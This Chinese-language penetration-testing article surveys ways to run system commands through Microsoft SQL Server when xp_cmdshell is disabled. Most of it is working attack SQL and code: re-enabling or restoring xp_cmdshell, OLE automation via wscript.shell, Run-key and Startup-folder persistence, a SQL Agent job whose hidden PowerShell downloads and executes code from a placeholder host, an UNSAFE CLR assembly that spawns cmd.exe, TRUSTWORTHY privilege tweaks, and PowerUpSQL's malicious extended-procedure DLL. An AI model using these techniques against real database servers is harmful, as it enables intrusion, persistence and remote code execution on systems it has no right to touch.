0x00 簡介
滲透測試過程中,大家經常會碰到通過MSSQL來進行提權或執行系統命令之類的操作,通常我們經常會使用xp_cmdshell來進行執行系統命令,但是當xp_cmdshell不能使用的時候,我們還有什么別的方式么?本文將介紹與分享一下我自己學到的一些姿勢。
0x01 常用的一些姿勢
1. XP_CMDSHELL
這個大家都比較熟悉了,通過xp_cmdshell來執行命令,可使用以下語句來執行:
|
1
|
exec master..xp_cmdshell "whoami"
|
默認情況下xp_cmdshell 是禁止的,如下圖:

這個時候,可以使用以下命令進行開啟:
|
1
|
EXEC sp_configure 'show advanced options', 1;RECONFIGURE;EXEC sp_configure 'xp_cmdshell', 1;RECONFIGURE;
|
關閉一樣,只是將上面的后面的那個"1"改成"0"就可以了。
開啟以后,則可執行系統命令

如果xp_cmdshell被刪除,可以嘗試上傳xplog70.dll進行恢復,恢復語句:
|
1
|
Exec master.dbo.sp_addextendedproc 'xp_cmdshell','D:\\xplog70.dll'
|
2. SP_OACREATE
當xp_cmdshell 刪除以后,可以使用SP_OACreate。
首先要打開組件:
|
1
2
3
4
5
|
EXEC sp_configure 'show advanced options', 1;
RECONFIGURE WITH OVERRIDE;
EXEC sp_configure 'Ole Automation Procedures', 1;
RECONFIGURE WITH OVERRIDE;
EXEC sp_configure 'show advanced options', 0;
|
之后使用以下語句執行命令:
|
1
|
declare @shell int exec sp_oacreate 'wscript.shell',@shell output exec sp_oamethod @shell,'run',null,'c:\windows\system32\cmd.exe /c whoami >d:\\temp\\1.txt'
|
這里要注意一下,此方式執行是無回顯的

3. 自啟動
以下方式需要電腦重啟。
添加注冊表:
|
1
|
xp_regwrite 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Windows\currentversion\run','exec','REG_SZ','ipconfig'
|
備份添加啟動項:
|
1
2
3
4
5
6
7
8
9
|
alter database test set RECOVERY FULL-- (把SQL設置成日志完全恢復模式)
create table cmd (a image)-- (新建立一個cmd表)
backup database test to disk = 'D:\\temp\\cmd' WITH init --
backup log test to disk = 'D:\\temp\\cmd1' WITH init -- (減少備分數據的大小)
insert into cmd (a) values (0x0a406563686f206f66660d0a406563686f206f66660d0a40636d642e657865202f63206563686f2077686f616d69203e643a5c74656d705c332e7478740d0a40636d642e657865202f63206563686f2077686f616d69203e643a5c74656d705c332e7478740d0a400d0a40)
-- (插入cmd命令)
backup log test to disk = 'C:\\Documents and Settings\\All Users\\Microsoft\\Windows\\Start Menu\\Programs\\Startup\\1.bat'-- (備分日志到啟動路徑)
drop table cmd --(刪除新建的cmd表)
alter database test set RECOVERY SIMPLE--(把SQL設置成日志簡單恢復模式)
|
測試發現,Win10+MSSQL 2012導出的批處理並不能順利執行,可能與系統及數據庫版本有一定關系,成功率並不怎么高。
4. 通過沙盒執行命令
開啟沙盒:
|
1
|
exec master..xp_regwrite 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Jet\4.0\Engines','SandBoxMode','REG_DWORD',1
|
然后利用jet.oledb執行命令:
|
1
|
select * from openrowset('microsoft.jet.oledb.4.0',';database=c:\windows\system32\ias\dnary.mdb','select shell("whoami")')
|
0x02 通過Agent Job執行命令
此種方式適用於服務器開啟了MSSQL Agent Job服務,並且服務器中當前運行的用戶賬號擁有足夠的權限去創建並執行代理作業的情況。
利用代碼如下:
|
1
|
USE msdb; EXEC dbo.sp_add_job @job_name = N'test_powershell_job1' ; EXEC sp_add_jobstep @job_name = N'test_powershell_job1', @step_name = N'test_powershell_name1', @subsystem = N'PowerShell', @command = N'powershell.exe -nop -w hidden -c "IEX ((new-object net.webclient).downloadstring(''http://IP_OR_HOSTNAME/file''))"', @retry_attempts = 1, @retry_interval = 5 ;EXEC dbo.sp_add_jobserver @job_name = N'test_powershell_job1'; EXEC dbo.sp_start_job N'test_powershell_job1';
|
關於此種方式已經有文章進行介紹,有興趣可以閱讀一下。戳我
0x03 SQL Server CLR
這種方式是最近才學到的,也是本文重點介紹的一種姿勢。
Microsoft SQL Server 現在具備與 Microsoft Windows .NET Framework 的公共語言運行時 (CLR) 組件集成的功能。CLR 為托管代碼提供服務,例如跨語言集成、代碼訪問安全性、對象生存期管理以及調試和分析支持。對於 SQL Server 用戶和應用程序開發人員來說,CLR 集成意味着您現在可以使用任何 .NET Framework 語言(包括 Microsoft Visual Basic .NET 和 Microsoft Visual C#)編寫存儲過程、觸發器、用戶定義類型、用戶定義函數(標量函數和表值函數)以及用戶定義的聚合函數。
要通過此種方式來執行命令,也有幾個前提:
1、在SQL Server上能啟用CLR並可以創建自定義存儲過程
2、SQL Server當前賬號具有執行命令/代碼所需要的權限
創建CLR有兩種方式:
方式一:使用DLL文件進行創建
|
1
|
CREATE ASSEMBLY AssemblyName from ‘DLLPath’
|
方式二:使用文件16進制流進行創建
|
1
|
CREATE ASSEMBLY AssemblyName from 文件十六進制流
|
對於做滲透的我們,當然是沒有文件是最好的方式了,因此,本文主要介紹方式二。以下為詳細測試步驟:
1、安裝Visual Studio和SQL Server數據庫,此次測試使用了VS2015跟SQL2012。
2、創建一個新的SQL Server數據庫項目

3、設置項目屬性,目標平台修改為需要的目標平台,如SQL Server 2012; 將SQLCLR權限級別修改為UNSAFE;修改.Net 框架版本為自己需要的版本;語言選擇C#。

4、右鍵項目,選擇添加->新建項,新建SQL CLR C# 存儲過程

5、填入以下測試代碼:
|
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
|
using System;
using System.Data;
using System.Data.SqlClient;
using System.Data.SqlTypes;
using Microsoft.SqlServer.Server;
using System.Collections.Generic;
using System.Text;
using System.Threading.Tasks;
public partial class StoredProcedures
{
[Microsoft.SqlServer.Server.SqlProcedure]
public static void SqlStoredProcedure1 ()
{
// 在此處放置代碼
System.Diagnostics.Process process = new System.Diagnostics.Process();
process.StartInfo.WindowStyle = System.Diagnostics.ProcessWindowStyle.Hidden;
process.StartInfo.FileName = "cmd.exe";
process.StartInfo.Arguments = "/C whoami > d:\\temp\\1.txt";
process.Start();
}
}
|
6、填入代碼以后進行編譯,之后到編譯目錄下可以看到一個dacpac后綴的文件。

7、雙擊此文件進行解壓,將解壓出一個名為mode.sql的文件。
8、執行SQL文件中的以下語句
|
1
2
3
4
|
CREATE ASSEMBLY [ExecCode]
AUTHORIZATION [dbo]
FROM 0x4D5A[...snip...]
WITH PERMISSION_SET = UNSAFE;
|

之后執行:
|
1
2
|
CREATE PROCEDURE [dbo].[SqlStoredProcedure1]
AS EXTERNAL NAME [ExecCode].[StoredProcedures].[SqlStoredProcedure1]
|

9、開啟數據庫服務器配置選項clr enabled
|
1
2
3
4
5
6
7
8
9
10
11
|
EXEC sp_configure N'show advanced options', N'1'
RECONFIGURE WITH OVERRIDE
--開啟clr enabled 選項
EXEC sp_configure N'clr enabled', N'1'
RECONFIGURE WITH OVERRIDE
--關閉所有服務器配置選項
EXEC sp_configure N'show advanced options', N'0'
RECONFIGURE WITH OVERRIDE
--如果存在權限問題,執行下面一段腳本
alter database [master] set TRUSTWORTHY on
EXEC sp_changedbowner 'sa'
|

10、執行命令:
|
1
|
EXEC [dbo].[SqlStoredProcedure1];
|

如果沒成功,可以換個數據庫試試看。
11、刪除存儲過程
|
1
2
|
DROP PROCEDURE [dbo].[SqlStoredProcedure1];
DROP ASSEMBLY ExecCode;
|
0x04 PowerUpSQL
當然針對SQL Server的攻擊,有一個強大的工具PowerUpSQL,里面也有很多針對MSSQL的攻擊方式。下面介紹兩種比較實用的方式。
1. SP_Addextendedproc
套件中的Create-SQLFileXpDll方法,在這里對其使用方式簡單的進行一下介紹。
創建DLL:
|
1
2
3
|
PS C:\Users\Evi1cg\Desktop\PowerUpSQL> . .\PowerUpSQL.ps1
PS C:\Users\Evi1cg\Desktop\PowerUpSQL> Create-SQLFileXpDll -OutFile D:\temp\exec.dll -Command "echo Exec test > D:\temp\
test.txt" -ExportName xp_test
|

SQL Server 通過 sp_addextendedproc 調用DLL從而達到命令執行的效果。這里有兩種方式導入:
|
1
2
3
4
|
//via local disk
sp_addextendedproc 'xp_test', 'D:\temp\exec.dll'
//via UNC path:
sp_addextendedproc 'xp_test', '\\servername\pathtofile\exec.dll'
|

導入之后的可調用xp_test來執行命令:
|
1
|
exec master..xp_test;
|

通過以下命令可以卸載:
|
1
|
sp_dropextendedproc 'xp_test'
|
2. SMB Relay Attacks
針對這種方式,已經有文章總結了,這里就不多做介紹了,詳細請看這里。
0x05 小結
本文就通過SQL Server 執行系統命令進行了一下小結,當然方式可能不全,僅僅是自己知道的一些方法,還希望大牛別噴,如果您有什么更加新穎的方法,歡迎補充,希望本文對你有所幫助。
0x06 參考
1.http://bobao.360.cn/learning/detail/3070.html
2.https://www.mssqltips.com/sqlservertip/2087/how-to-execute-a-dos-command-when-xpcmdshell-is-disabled-in-sql-server/
3.http://blog.csdn.net/tjvictor/article/details/4726933
4.https://www.mssqltips.com/sqlservertip/1662/writing-to-an-operating-system-file-using-the-sql-server-sqlclr/
5.https://www.t00ls.net/viewthread.php?tid=23198&extra=page%3D1%26amp%3Bfilter%3Dtype%26amp%3Btypeid%3D39
